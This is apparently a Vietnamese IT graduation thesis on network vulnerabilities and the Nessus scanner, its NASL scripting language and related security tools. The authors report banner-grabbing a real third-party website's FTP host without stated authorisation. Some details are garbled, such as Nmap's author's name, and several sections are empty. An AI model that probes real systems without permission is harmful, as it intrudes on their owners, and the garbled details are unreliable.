Đồ Án Tốt Nghiệp Đồ án tốt nghiệp chuyên ngành Mạng Máy Tính Họ tên ĐỒ ÁN TỐT NGHIỆP NGÀNH CÔNG NGHỆ THÔNG TIN ĐỀ TÀI NGHIÊN CỨU, PHÂN TÍCH LỖ HỔNG BẢO MẬT TRÊN HỆ THỐNG MẠNG HÀ NỘI 2022. Nghiên cứu và triển khai công cụ bảo mật Nessus
TỔNG QUAN VỀ AN NINH MẠNG
Giới thiệu chung về an ninh mạng
Bảo mật mạng là quá trình bảo vệ hệ thống mạng khỏi các truy cập, sử dụng, tiết lộ, gián đoạn, sửa đổi hoặc phá hoại trái phép, nhằm đảm bảo tính toàn vẹn và bảo mật thông tin của tổ chức hoặc doanh nghiệp Theo tiêu chuẩn của Liên minh Viện thông tin Quốc tế (ITU), bảo mật mạng bao gồm các công cụ, chính sách, khái niệm bảo mật, hướng dẫn, phương pháp quản lý rủi ro, phản ứng, đào tạo, diễn tập, cũng như thiết bị và công nghệ cần thiết để bảo vệ hệ thống mạng và tài sản.
Vấn đề an toàn và bảo mật thông tin phải đảm bảo những yếu tố chủ yếu sau:
- Tính bảo mật: chỉ cho phép những người có quyền hạn được truy cập đến nó.
- Tính toàn vẹn dữ liệu: dữ liệu không bị sửa đổi, bị xóa một cách bất hợp pháp.
- Tính sẵn sàng: bất cứ khi nào chúng ta cần thì dữ liệu luôn sẵn sàng.
1.1.1 Điểm yếu và các loại lỗ hổng bảo mật Điểm yếu là nơi trong hệ thống dễ bị tấn công nhất nhưng nó chưa bị khai thác để thực hiện hành vi trái phép.
Lỗ hổng là lỗi lập trình hoặc cấu hình sai, cho phép kẻ xâm nhập truy cập trái phép vào hệ thống Các lỗ hổng này có thể từ mật khẩu yếu đến chương trình chưa được vá lỗi trong dịch vụ mạng, và là nguyên nhân chính gây ra các cuộc tấn công như sâu mạng, phần mềm gián điệp và mã độc Sự đa dạng của lỗ hổng trong hệ thống thông tin có thể xuất phát từ nhiều nguyên nhân, bao gồm yếu tố kỹ thuật và tổ chức, như thiếu kinh nghiệm hoặc các biện pháp bảo vệ thông tin không đầy đủ Do đó, việc phân loại lỗ hổng hệ thống thông tin trở nên cần thiết.
Lỗ hổng an toàn thông tin của hệ thống thông tin được chia thành ba loại:
- Lỗ hổng khách quan: là lỗ hổng xuất phát từ các đặc tính kỹ thuật vốn có của thiết bị và phần mềm của hệ thống thông tin.
- Lỗ hổng chủ quan: là lỗ hổng xuất phát từ hành vi của chủ thể, có thể là nhà thiết kế, các quản trị viên và người sử dụng.
- Lỗ hổng ngẫu nhiên: là lỗ hổng xuất phát từ môi trường của hệ thống thông tin và những bối cảnh không dự đoán trước được.
Lỗ hổng an toàn thông tin được phân loại theo các giai đoạn trong vòng đời của hệ thống thông tin, bao gồm lỗ hổng thiết kế, lỗ hổng chế tạo và lỗ hổng khai thác.
1.1.1.1 Lỗ hổng theo khu vực phát sinh
Lỗ hổng code là kết quả của những sai sót trong quá trình phát triển phần mềm, bao gồm lỗi logic, cú pháp và các vấn đề liên quan đến mức truy cập Ngoài ra, lỗ hổng này còn có thể xuất phát từ các cài đặt cố ý của nhà thiết kế, cho phép tiếp cận trái phép vào hệ thống của người dùng.
- Lỗ hổng do cấu hình
Lỗ hổng cấu hình xảy ra trong quá trình cài đặt và cấu hình hệ thống thông tin, bao gồm các tham số cài đặt và thông số kỹ thuật của thiết bị kỹ thuật.
- Lỗ hổng do kiến trúc
Lỗ hổng kiến trúc phát sinh trong quá trình thiết kế hệ thống thông tin.
- Lỗ hổng do tổ chức
Lỗ hổng tổ chức xuất hiện do sự thiếu sót hoặc khuyết điểm trong các biện pháp bảo vệ thông tin của hệ thống thông tin, cũng như do việc không tuân thủ các quy tắc khai thác hệ thống bảo vệ thông tin.
1.1.1.2 Lỗ hổng phát sinh do các khiếm khuyết của hệ thống thông tin
Trong hệ thống thông tin, những khiếm khuyết có thể tạo ra nhiều lỗ hổng bảo mật, như rò rỉ thông tin hoặc lộ thông tin do tiếp cận hạn chế Một ví dụ điển hình là khiếm khuyết liên quan đến tràn bộ nhớ, xảy ra khi phần mềm ghi dữ liệu vượt quá giới hạn của bộ nhớ vùng đệm, dẫn đến việc dữ liệu trước hoặc sau bộ đệm bị hư hại.
Các khiếm khuyết trong hệ thống thông tin có thể tạo ra lỗ hổng an toàn, thường liên quan đến việc cài đặt sai tham số, kiểm tra dữ liệu đầu vào không đầy đủ, giám sát không hiệu quả các thư mục, và phân quyền sử dụng lệnh hệ điều hành không hợp lý Những vấn đề này bao gồm việc áp dụng các toán tử trong ngôn ngữ lập trình, sử dụng mã lệnh không an toàn, rò rỉ thông tin từ các quyền truy cập hạn chế, quản lý tài nguyên kém, và tràn bộ nhớ, tất cả đều có thể dẫn đến những rủi ro nghiêm trọng cho an toàn thông tin.
1.1.1.3 Lỗ hổng theo vị trí phát hiện
Lỗ hổng trong chương trình toàn hệ thống bao gồm các lỗ hổng hệ điều hành, như lỗ hổng hệ thống tệp, lỗ hổng chế độ tải, và lỗ hổng trong các cơ chế quản lý quy trình Ngoài ra, còn có lỗ hổng trong hệ thống quản lý cơ sở dữ liệu, gây ra nguy cơ cho an ninh thông tin.
Lỗ hổng trong phần mềm ứng dụng.
Lỗ hổng trong phần mềm chuyên dụng là những điểm yếu trong các chương trình được thiết kế để giải quyết các vấn đề cụ thể của hệ thống thông tin Những lỗ hổng này có thể bao gồm lỗi lập trình, sự hiện diện của các chức năng không công bố có thể ảnh hưởng đến các biện pháp bảo vệ thông tin, và các thiếu sót trong cơ chế hạn chế truy cập đối với các đối tượng bảo đảm chương trình chuyên dụng.
Lỗ hổng trong chương trình của các phương tiện kỹ thuật bao gồm phần sụn thiết bị nhớ, mạch logic tích hợp, hệ thống đầu vào/ra, chương trình trong bộ điều khiển và giao diện.
Lỗ hổng trong các thiết bị cầm tay như: hệ điều hành các thiết bị di động, giao diện truy cập không dây
Lỗ hổng bảo mật trong các thiết bị mạng, bao gồm bộ định tuyến, tổng đài và các thiết bị viễn thông khác, có thể ảnh hưởng đến giao thức dịch vụ mạng và giao thức điều khiển thiết bị viễn thông.
Lỗ hổng bảo mật trong các thiết bị bảo vệ thông tin, bao gồm các phương tiện quản lý truy cập như kiểm soát tính toàn vẹn, phần mềm chống mã độc, hệ thống phát hiện xâm nhập và tường lửa, có thể tạo ra nguy cơ lớn cho an ninh thông tin Việc nhận diện và khắc phục những lỗ hổng này là rất cần thiết để đảm bảo an toàn cho hệ thống và dữ liệu.
GOST P56546-2-15 phân loại lỗ hổng dựa trên các tiêu chí như tên hệ điều hành, nền tảng phát triển, tên và phiên bản phần mềm, mức độ nguy hại của lỗ hổng, ngôn ngữ lập trình, cũng như dịch vụ sử dụng để vận hành phần mềm.
1.1.1.4 Lỗ hổng đã biết, lỗ hổng zero-day
Các giải pháp và công cụ hỗ trợ bảo mật mạng
Trong bối cảnh internet ngày càng gắn liền với cuộc sống con người, các tổ chức và cá nhân cần áp dụng các giải pháp và công cụ bảo mật thông tin hiệu quả Nhiều công ty lớn đã phát triển những biện pháp và công nghệ tiên tiến nhằm bảo vệ dữ liệu, ngăn chặn đánh cắp thông tin và xâm nhập vào tài nguyên mạng.
Để bảo vệ hệ thống mạng hiệu quả, các chuyên gia trên toàn thế giới khuyên dùng những giải pháp và công cụ hữu ích có chất lượng uy tín hàng đầu.
1.2.1 Các giải pháp bảo mật mạng
Lợi ích: bảo vệ cổng hệ thống ( gateway ), ngăn chặn các rủi ro từ môi trường internet
- Lọc các cổng dịch vụ
- Giám sát ứng dụng và người dùng
Hình 1-6: Giải pháp tường lửa 1.2.1.2 Giải pháp chống xâm nhập và chống tấn công từ chối dịch vụ (DDoS)
Lợi ích: thiết bị chuyên dụng ngăn chặn hình thức tấn công DDoS.
- Ngăn chặn các hình thức xâm nhập
Hình 1-7: Sử dụng DdoS của hacker 1.2.1.3 Giải pháp mã hóa và bảo mật đường truyền
Giải pháp chuyên dụng này bảo vệ kết nối giữa các site trong cùng một hệ thống, đặc biệt hữu ích cho các doanh nghiệp có nhiều chi nhánh và yêu cầu bảo mật cao trên đường truyền.
- Mã hóa từ mức layer 2 (theo mô hình OSI), hỗ trợ các giao thức Ethernet, Fibre
Channel/FICON và SDH/SONET từ 20Mbps đến 10Gbps
- Mã hóa cuộc gọi/ voice
- Mã hóa đường truyền fax
1.2.1.4 Giải pháp giám sát và phân tích mã độc
Xác định các loại mã độc hiện có trên hệ thống là một lợi ích quan trọng, giúp bảo vệ dữ liệu và tài nguyên Bằng cách tích hợp các giải pháp ở mức gateway, hệ thống có thể ngăn chặn hiệu quả các cuộc tấn công từ mã độc, đảm bảo an toàn và bảo mật cho môi trường làm việc.
- Phát hiện và chống lại APTs và các tấn công có mục tiêu Zero-day malware và các khai thác lỗ hổng trên document
- Các hành vi tấn công mạng
- Email threats (phishing, spear-phishing): Bots, Trojans, Worms, Key Loggers and Crime ware
- Giám sát thời gian thực, phân tích sâu dựa trên giao diện điều khiển trực quan
- Giám sát tập trung vào các nguy cơ có mức độ nghiêm trọng cao và các đối tượng có giá trị
- Cung cấp các thông tin về an ninh hệ thống, và đưa ra các biện pháp khắc phục.
1.2.1.5 Giải pháp chống spam/virus mức gateway
Lợi ích: giải pháp chuyên dụng ngăn chặn các hình thức spam email, ngăn chặn virus.
- Lọc email đính kèm virus
- Cô lập các kết nối đến liên kết có mã độc
1.2.2 Một vài công cụ hỗ trợ bảo mật mạng cơ bản trên internet hiện nay
Nmap là một công cụ bảo mật mã nguồn mở và miễn phí, được phát triển bởi Floydor Vaskovitch, dùng để quét lỗ cổng và phát hiện các lỗ hổng bảo mật Các chuyên gia quản trị mạng sử dụng Nmap để xác định thiết bị đang hoạt động trên hệ thống, tìm kiếm máy chủ có sẵn và dịch vụ mà chúng cung cấp, cũng như dò tìm các cổng mở và nhận diện các nguy cơ về bảo mật.
Nmap là công cụ hữu ích cho việc giám sát cả các máy chủ đơn lẻ và các cụm mạng lớn, bao gồm hàng trăm nghìn thiết bị và nhiều mạng con khác nhau.
Mặc dù Nmap đã trải qua nhiều năm phát triển và cải tiến, nền tảng chính của nó vẫn là một công cụ quét cổng, thu thập thông tin bằng cách gửi gói dữ liệu đến các cổng hệ thống Nmap lắng nghe và phân tích phản hồi để xác định trạng thái của các cổng, bao gồm mở, đóng hoặc bị lọc bởi tường lửa Các thuật ngữ liên quan đến hoạt động quét cổng bao gồm dò tìm cổng và liệt kê cổng Sự phổ biến của Nmap một phần nhờ vào khả năng hoạt động trên nhiều hệ điều hành khác nhau, bao gồm cả Windows.
MacOS cũng như được hỗ trợ trên các bản phân phối của Linux bao gồm Red Hat, Mandrake, SUSE và Fedora
Hình 1-8: Giao diện công cụ Nmap 1.2.2.2 Công cụ Wireshark
Wireshark là một công cụ mạnh mẽ để phân tích dữ liệu mạng, cho phép theo dõi và giám sát gói tin theo thời gian thực Ứng dụng này hiển thị thông tin một cách chính xác và dễ hiểu thông qua giao diện thân thiện với người dùng.
Chức năng của Wireshark là:
- Phân tích chuyên sâu các giao thức mạng và đang được bổ sung hằng ngày
- Dùng để khắc phục sự cố mạng
- Các developers sử dụng để gỡ lỗi triển khai giao thức
- Đọc và xuất dữ liệu từ nhiều giao thức.
Hình 1-9: Giao diện công cụ WireShark 1.2.2.3 Công cụ Nessus
Quét các lỗ hổng bảo mật và đưa ra các biện pháp khắc phục trên hệ thống có nền tảng Windows, Linux, Mac.
Kiểm tra các bản vá cho hệ điều hành Windows, Linux và các ứng dụng như trình duyệt web, phần mềm, nhằm đánh giá lỗ hổng bảo mật trên nhiều loại thiết bị khác nhau.
- Điện thoại chạy nền tảng Android, IOS, Windows Phone.
- Các thiết bị mạng khác: switch, router, access points, máy in,…
- Hỗ trợ phân tích cả trên các thiết bị ảo hóa.
- Cho phép cấu hình tự động quét theo một lịch trình nhất định.
- Phát hiện các phần mềm độc hại chạy trên hệ thống.
- Quét các lỗ hổng ứng dụng web dựa trên OWASP.
- Audit file cấu hình thiết bị.
Hỗ trợ Cloud: Audit cấu hình của các cloud public như: Amazon Web Services,Microsoft Azure and Rackspace.
Hình 1-10: Giao diện Nessus 1.2.2.4 Công cụ OpenVAS
OpenVAS là một khung phần mềm của một số dịch vụ và cung cấp chức năng quét lỗ hổng và quản lý lỗ hổng.
OpenVAS là một công cụ mạnh mẽ với nhiều tính năng phong phú, cho phép quét hàng trăm ngàn lỗ hổng bảo mật khác nhau Đặc biệt, công cụ này hỗ trợ tự động lên lịch quét và thực hiện nhiều nhiệm vụ đồng thời, giúp nâng cao hiệu quả trong việc bảo vệ hệ thống.
Hình 1-11: Giao diện OpenVAS 1.2.2.5 Công cụ Kerio Control
Kerio Control là phần mềm bảo mật hiện đại, cung cấp tường lửa mạnh mẽ, ngăn chặn virus và phần mềm độc hại, đồng thời phát hiện và chống lại các mối đe dọa từ IPS Đây là giải pháp bảo mật hệ thống doanh nghiệp hiệu quả mà mọi tổ chức nên áp dụng.
GIỚI THIỆU CHUNG VỀ CÔNG CỤ NESSUS
Tổng quan về ngôn ngữ NASL
Vào năm 1998, Nessus ra mắt phiên bản đầu tiên với khả năng kiểm tra khoảng 50 lỗi bảo mật thông qua các plugin được viết bằng ngôn ngữ lập trình C và có phần mở rộng nes Phương pháp này tách biệt module quét (engine scanning) với các module hướng dẫn, giúp Nessus sở hữu kiến trúc module dễ dàng mở rộng Việc sử dụng thư viện chung để phát triển plugin đã tạo điều kiện thuận lợi cho việc nhanh chóng xây dựng các plugin dựa trên các chương trình C có sẵn.
Tác giả đã phát triển một script mang tên "plugin-factory" nhằm biên dịch các plugin viết bằng C thành thư viện dùng chung (.nes) Ý tưởng này cho phép người dùng tải xuống và cài đặt các phiên bản plugin mới nhất, nhưng quá trình này tiềm ẩn nhiều rủi ro về bảo mật, dẫn đến việc ý tưởng không được tiếp tục phát triển.
Sau khi khảo sát các ngôn ngữ script hiện tại, Perl nổi bật như ngôn ngữ lý tưởng để phát triển plugin cho Nessus Tuy nhiên, vào thời điểm đó, Perl cũng gặp một số hạn chế nhất định.
- Chiếm dung lượng bộ nhớ lớn.
- Không hỗ trợ tốt quá trình gửi/nhận các gói tin thô (raw packet).
Không có cách nào đáng tin cậy để kiểm tra dưới các máy ảo cơ bản Mỗi quá trình quét đều giống nhau: nó kết nối đến một số cổng trên máy khách từ xa, thực hiện các tác vụ và suy ra mức độ dễ bị tổn thương của máy khách Để tối ưu hóa, nên điều chỉnh tất cả các tác vụ quét cùng một lúc thay vì từng cái một Ví dụ, khi thêm hỗ trợ SSL vào Nessus, chỉ cần sửa đổi hàm socket để thực hiện kết nối Một vấn đề khác là việc sử dụng Perl để viết các Plugin, vì các hàm bổ sung chỉ tồn tại qua các plugin bên ngoài và yêu cầu các gói và hàm thư viện hệ thống riêng Do đó, tác giả đã phát triển một ngôn ngữ Script mới gọi là NASL (Nessus Attack Scripting Language) để phục vụ cho Nessus.
- Mỗi script được chứa trong một file.
- Dễ cài đặt với người dùng cuối.
- Dễ tìm hiểu cho các nhà phân phối, phát triển.
- Chiếm ít dung lượng bộ nhớ.
- Thiết kế riêng cho quét lỗ hổng an ninh mạng.
- Dễ chỉnh sửa và mở rộng.
- Hỗ trợ đa ngôn ngữ.
Ngôn ngữ NASL1 đã được phát triển, mặc dù còn một số điểm chưa hoàn thiện như tốc độ chậm và sự lỏng lẻo trong việc xử lý lỗi cú pháp Tuy nhiên, nó đã hoàn thành tốt nhiệm vụ của mình với hơn 1000 lỗi kiểm tra bảo mật được viết ra Vào thời điểm ban đầu, tốc độ không phải là mối quan tâm chính, vì thời gian thiết lập một phiên kết nối TCP thường lâu hơn thời gian mà trình thông dịch NASL cần để xử lý và phân tích mã plugin.
Khi số lượng plugin gia tăng, người dùng bắt đầu quét nhiều host hơn bằng Nessus, dẫn đến việc NASL1 trở nên chậm chạp trong các tác vụ này Mã nguồn gốc khó mở rộng, vì vậy quyết định viết lại NASL là cần thiết.
Vào năm 2001, Michel Arboi đã viết lại thư viện libnasl để mở rộng ngôn ngữ và khắc phục những khuyết điểm của NASL1, tạo ra NASL2, thành phần lớn nhất trong Nessus 2.0 Kể từ phiên bản 3.0, ngôn ngữ NASL2 đã được tích hợp vào trong engine, mang lại nhiều ưu điểm đáng kể.
Mỗi script NASL được thiết kế gọn gàng, bao gồm cả mã code để kiểm tra các quy tắc và hướng dẫn cho plugin của nó Các tệp script này có phần mở rộng đơn giản.
NASL dễ dàng cài đặt cho người dùng cuối nhờ vào hình thức tự đóng gói Nó có thể cấu hình sử dụng với thư viện OpenSSL, và người dùng có thể tận dụng trình biên dịch GCC để thực hiện quá trình này.
GNI Bison (bison) dễ dàng xây dựng và cài đặt trình thông dịch NASL.
NASL là ngôn ngữ lập trình dễ học, đặc biệt cho những ai đã quen thuộc với C và Perl Sự khác biệt chính giữa NASL và C là NASL không sử dụng con trỏ và không yêu cầu quản lý bộ nhớ, điều này giúp đơn giản hóa quá trình lập trình cho người dùng.
- Chiếm ít dung lượng bộ nhớ: Thông thường, Nessus chỉ yêu cầu vài trăm KB bộ nhớ, nó có thể load được nhiều plugin đồng thời.
NASL được phát triển đặc biệt cho việc kiểm tra bảo mật mạng, cho phép thiết lập kết nối, truyền nhận dữ liệu và xử lý kết quả hiệu quả Nó bao gồm nhiều hàm thư viện hỗ trợ cài đặt các giao thức cấp cao như SMB, NFS, RPC, SMTP, và HTTP Tất cả các thư viện này đều được lập trình bằng ngôn ngữ chuyên dụng, giúp tối ưu hóa quá trình kiểm tra an ninh mạng.
NASL (Nessus Attack Scripting Language) có độ bảo mật cao, không thể truy cập vào hệ thống file cục bộ, thực hiện các câu lệnh hệ thống hoặc kết nối tới máy khách bên thứ ba, chỉ kết nối với host đang kiểm tra Việc không sử dụng con trỏ và quản lý bộ nhớ giúp NASL tránh được các lỗi như tràn bộ đệm, làm cho ngôn ngữ này trở thành một lựa chọn an toàn và hiệu quả cho việc thiết kế các plugin mới.
Trình thông dịch NASL có ngôn ngữ rõ ràng, cho phép người dùng dễ dàng chỉnh sửa và mở rộng Việc thêm các toán tử và hàm mới trở nên đơn giản, đồng thời vẫn đảm bảo khả năng tương thích ngược với các thư viện cũ.
NASL hỗ trợ đa ngôn ngữ, nhưng chỉ giới hạn ở các ngôn ngữ có thể mã hóa bằng bảng ký tự ASCII Một số ngôn ngữ, như tiếng Nhật, không thể được biểu diễn bằng bảng mã ASCII mở rộng.
2.1.2 Điểm khác biệt giữa NASL1 và NASL2
- NASL2 sử dụng trình phân tích cú pháp Bison, nó chặt chẽ hơn và có thể xử lý những kiểu diễn đạt phức tạp.
- NASL2 có nhiều hàm xây dựng sẵn (mặc dù hầu hết những hàm này đều có thể chuyển tương thích với NASL1).
- NASL2 có nhiều toán tử được tích hợp.
- NASL2 nhanh hơn (khoản tầm 16 lần).
- Hầu hết script NASL2 không thể chạy với NASL1.
- Một vài script NASL1 không thể chạy với NASL2 (nhưng việc sửa tương đối dễ dàng).
- NASL2 có hàm chức năng xử lý mảng.
2.1.3 NASL2 ngôn ngữ thông dịch, tựa C
NASL2 có cú pháp tương tự như ngôn ngữ lập trình C, giúp người học dễ dàng tiếp cận Với cách khai báo biến, toán tử và vòng lặp đơn giản, NASL2 loại bỏ những yếu tố phức tạp như biến con trỏ và quản lý vòng lặp, làm cho ngữ pháp trở nên dễ hiểu hơn.
2.1.4 Cấu trúc ngôn ngữ NASL2
Sơ lược về quy tắc viết chương trình
- Chú thích bắt đầu tính từ dấu “#” ở đầu dòng, khi đó nó sẽ được trình thông dịch bỏ qua.
- Có thể thêm các khoảng trắng tùy ý giữa 2 từ, toán tử Khoảng trắng ở đây có thể là dấu cách, tab.
Xây dựng Plugin cho Nessus
2.2.1 Thông dịch script tự xây dựng
Khi viết script NASL, bạn có thể kiểm tra bằng trình thông dịch command-line nasl, được cài sẵn trong quá trình cài đặt Nessus Cú pháp sử dụng là: nasl [options] script1.nasl [script2.nasl …].
Các tùy chọn của trình thông dịch gồm có:
Bảo mật là một yếu tố quan trọng trong việc sử dụng Nessus Engine, trong đó việc tạo chữ ký cho file script nasl đang chạy là cần thiết Quá trình này giúp script có được quyền truy cập mở rộng, đảm bảo an toàn và hiệu quả trong việc quét lỗ hổng.
Để ký yêu cầu, cần có cặp khóa công khai và bí mật RSA Sử dụng tùy chọn -X để chạy script trong chế độ đã được xác thực, cho phép các script đã được ký truy cập nhiều quyền vào tài nguyên của Nessus Engine.
- Công cụ phân tích ngữ pháp: o -L: Thực hiện kiểm tra bổ sung cho lỗi ngữ pháp và phân tích cú pháp.
Trước khi phát hành một plugin, việc kiểm tra mọi thành phần của script là rất quan trọng Sử dụng tùy chọn -V để hiển thị thông tin chi tiết về script như ID và tên script Bên cạnh đó, tùy chọn -T cho phép lần vết thực hiện của script, yêu cầu trình thông dịch ghi lại thông tin gỡ rối vào một file cụ thể.
Môi trường thực thi script bao gồm các tùy chọn quan trọng như -t target, cho phép chỉ định địa chỉ máy đích mà ta muốn kiểm tra, có thể là địa chỉ IP hoặc tên máy Lưu ý rằng các hàm thư viện mạng NASL không cho phép chỉ định địa chỉ khác khi kết nối hoặc gửi gói “raw packet”, và nếu không chỉ định, tất cả kết nối sẽ mặc định đến địa chỉ loopback 127.0.0.1 Tùy chọn -k được sử dụng để tải file KB từ file chỉ định, trong khi -D chỉ chạy phần chỉ dẫn của plugin Cuối cùng, tùy chọn -s cho phép chạy script ở chế độ kiểm tra an toàn, ngăn chặn việc thực thi các plugin có dấu hiệu ACT_DESTRUCTIVE_ATTACK hoặc ACT_KILL_HOST.
ACT_DENIAL, hoặc ACT_FLOOD sẽ không được thực thi.
- Tùy chọn khác: o -h: Hiển thị trợ giúp. o -v: Hiển thị tên phiên bản của trình thông dịch nasl
Here is a simple script that connects to an FTP port (21), retrieves the banner, and displays it on the screen The script initiates a TCP socket connection to port 21, checks if the connection is successful, then reads the banner using a specified length and finally displays the retrieved banner.
Save the script as "test.nasl" and execute it from the command line On Linux, the full path to nasl is "/usr/local/bin/nasl," while on Windows, it is located in the directory "C:\Program Files\Tenable\Nessus\nasl.exe."
$ /usr/local/bin/nasl –t ftp.nessus.org test.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
To avoid errors when running NASL scripts, it is essential to execute them with administrative privileges On Linux systems, this means using the root account or a user with sudo rights, while on Windows, the scripts should be run as an Administrator.
- Nhóm thử dùng đoạn script trên để lấy banner host FTP của trang https://tuyensinhvietnam.vn:
- Tìm địa chỉ host FTP của trang web: Ta có thể sử dụng công cụ như http://www.whoishostingthis.com
Hình 2-13: Địa chỉ host FTP của tuyensinhvietnam.vn
- Ping và lấy thử banner của host FTP
Hình 2-14: Kết quả banner trả về của host FTP tuyensinhvietnam.vn
Giới thiệu chung về công cụ Nessus
Vào năm 1998, danh sách các lỗ hổng chưa được phát triển thành cơ sở dữ liệu đầy đủ, và nghiên cứu diễn ra trong điều kiện ngân sách hạn hẹp Các máy quét lỗ hổng thương mại có chi phí cao, trong khi máy quét mã nguồn mở như SATAN không thể cạnh tranh với các sản phẩm thương mại Sự bùng nổ của Internet đã dẫn đến nhu cầu kiểm tra an toàn ngày càng tăng Để đáp ứng tình hình này, Renaud Deraison đã phát triển dự án mã nguồn mở Nessus, nhằm giải quyết vấn đề giá cả của máy quét thương mại và sự trì trệ của SATAN Ngay lập tức, cộng đồng người dùng Nessus đã phát triển mạnh mẽ.
Ngày 5 tháng 10 năm 2005, Tenable Network Security, một công ty do Renaud Deraison đồng sáng lập, thông báo rằng phiên bản tiếp theo của Nessus, Nessus 3, sẽ không còn mã nguồn mở nữa Cơ cấu( engine) của Nessus 3 thì vẫn miễn phí cho phép cộng đồng phát hành các bản cập nhật plugin nhưng chi phí cho dịch vụ và rà soát lỗ hổng mới nhất thì được tính Một vài nhà phát triển đã chia thành 2 hướng phát triển độc lập dựa trên Nessus như OpenVAS và Porz-Wahn Nessus 2 vẫn được cập nhật khi Nessus 3 đã phát hành được một thời gian
Nessus hỗ trợ nhiều hệ điều hành như UNIX, LINUX, Mac OS X và Windows, cho phép quét từ xa để phát hiện xâm nhập mạng và cung cấp tính năng quét cục bộ trên máy tính cụ thể.
Dowload phiên bản mới nhất về cài đặt tại: https://www.tenable.com/downloads/nessus
2.3.2 Giới thiệu về công cụ Nessus
Nessus là công cụ quét lỗ hổng bảo mật độc quyền do Công ty An ninh mạng Tenable phát triển, cung cấp miễn phí cho mục đích sử dụng phi thương mại.
Nessus, ban đầu là một dự án mã nguồn mở mang tên “Nessus Project”, được Renaud Deraison đề xuất vào năm 1998, với mã nguồn của các thành phần được công bố công khai.
Nessus là một trong những sản phẩm hàng đầu thế giới, nổi bật với tính năng đa dạng và khả năng cung cấp thống kê toàn diện về hệ thống Nó có khả năng phát hiện dữ liệu nhạy cảm và phân tích lỗ hổng, đáp ứng hiệu quả nhu cầu bảo mật của người dùng.
Nessus có thể chạy trên nhiều nền tảng khác nhau như: UNIX, LINUX, Mac OS, Windows
- Lỗ hổng cho phép một hacker từ xa kiểm soát hoặc truy cập dữ liệu nhạy cảm trên hệ thống.
- Cấu hình sai (ví dụ như chuyển tiếp thư mở, các bản vá lỗi bị thiếu, ).
Mật khẩu mặc định, những mật khẩu phổ biến và mật khẩu trống trên các tài khoản hệ thống có thể tạo ra lỗ hổng bảo mật nghiêm trọng Nessus có khả năng sử dụng Hydra, một công cụ bên thứ ba, để thực hiện các cuộc tấn công từ điển nhằm khai thác những điểm yếu này.
- Tấn công từ chối dịch vụ bộ nhớ stack TCP/IP bằng gói tin độc hại
- Chuẩn bị cho việc kiểm tra bảo mật (PSI DSS).
Các tính năng của công cụ Nessus
- Quét các lỗ hổng bảo mật và đưa ra các biện pháp khắc phục trên hệ thống các nền tảng Windows, Linux, Mac.
- Kiểm tra các bản vá hệ điều hành Windows, Linux và các ứng dụng như trình duyệt web, phần mềm, …
- Đánh giá các lỗ hổng trên các loại thiết bị: Điện thoại chạy nền tảng Android, IOS, Windows Phone.
Các thiết bị mạng khác: switch, router, access points, máy in,…
- Hỗ trợ phân tích cả trên các thiết bị ảo hóa.
- Cho phép cấu hình tự động quét theo một lịch trình nhất định.
- Phát hiện các phần mềm độc hại chạy trên hệ thống.
- Quét các lỗ hổng ứng dụng web dựa trên OWASP.
- Audit file cấu hình thiết bị.
- Hỗ trợ Cloud: Audit cấu hình của các cloud public như: Amazon Web Services,Microsoft Azure and Rackspace.
Các thành phần và mô hình của Nessus
2.5.1 Các thành phần của Nessus: o Nessus Engine: nhận, thực thi và trả lời lại các câu yêu cầu quét của người dùng Việc quét các lỗ hổng được thực hiện theo các chỉ dẫn của các plugin o Nessus Plugin: hệ thống file của ngôn ngữ kịch bản NASL, gồm các file định nghĩa inc và file kịch bản nasl. o Nessus Server: thực hiện các yêu cầu quét của người dùng, sau đó phân tích, tổng hợp, trả lại kết quả cho Nessus client o Nessus Client: hiện thị kết quả quét cho người dùng thông qua trình duyệt web o Nessus Knowledge Base: “Cơ sở dữ liệu đã biết” của Nessus cho phép các plugin sau tận dụng dữ liệu của plugin trước đó Điều này giúp Nessus dễ dàng mở rộng và tăng tốc độ thực thi.
Đánh giá an ninh nội bộ, bao gồm quét lỗ hổng mạng, là một phần quan trọng trong nhiều chương trình tuân thủ an ninh Nhiều tiêu chuẩn yêu cầu tổ chức cung cấp bằng chứng về hoạt động quét lỗ hổng Các biểu đồ tóm tắt hoạt động quét và các thuộc tính sử dụng trong quá trình này Máy quét lỗ hổng Nessus là công cụ hiệu quả và linh hoạt, giúp tổ chức ở mọi quy mô kiểm toán tài sản của mình để phát hiện các lỗ hổng an ninh.
Nessus cung cấp các tính năng mạnh mẽ như phát hiện tốc độ cao, kiểm toán cấu hình, hồ sơ tài sản, phát hiện dữ liệu nhạy cảm và phân tích lỗ hổng trong hệ thống bảo mật của bạn Máy quét Nessus có khả năng phân phối rộng rãi trong toàn doanh nghiệp, bao gồm cả trong các khu vực DMZ và qua các mạng vật lý riêng biệt Hệ thống này liên tục cập nhật tự động để kiểm tra các lỗ hổng mới nhất, đảm bảo an toàn cho cơ sở hạ tầng của bạn.
The dashboards and their components are available in Feed SecurityCenter, which offers a comprehensive collection of charts, reports, assurance tickets, and assets These dashboards can be easily categorized within the Security Center under Discovery & Detection.
Việc hiểu các tùy chọn quét và tính năng của Nessus là rất quan trọng để nâng cao hiệu quả quét lỗ hổng Thực hành an toàn yêu cầu tổ chức thực hiện quét dễ bị tổn thương và cung cấp bằng chứng cho các hoạt động này Bảng điều khiển tóm tắt quét Nessus hiển thị thông tin quan trọng như thời gian quét, kiểm tra ứng dụng web, phiên bản scanner, loại scanner cổng, trạng thái tùy chọn quét và kiểm tra thông tin xác thực Đồng thời, bảng điều khiển tóm tắt quét mạng cung cấp cái nhìn tổng quan về quét Nessus cho mỗi mạng lớp C với mặt nạ subnet 24-bit.
Trong phiên bản Nessus 5.2.7, bảng điều khiển quét bao gồm 7 thành phần hiển thị các tùy chọn khác nhau, phiên bản và kết quả quét của mạng Ba ma trận cung cấp thông tin về tùy chọn quét, khoảng thời gian quét và dữ liệu được sử dụng trong quá trình quét Hai ma trận khác hiển thị máy quét cổng và trạng thái kiểm tra các ứng dụng web Cuối cùng, hai thành phần cho thấy các phiên bản khác nhau của máy quét Nessus cùng với các lỗi phát hiện trong quá trình quét.
Trong phiên bản Nessus 6.9.1, các thành phần đã được rút gọn còn lại hai thành phần chính là Scans (quét) và Policies (chính sách), mang lại sự đơn giản và hiệu quả hơn so với các phiên bản trước Dưới đây là ba mô hình Nessus cơ bản đang được sử dụng.
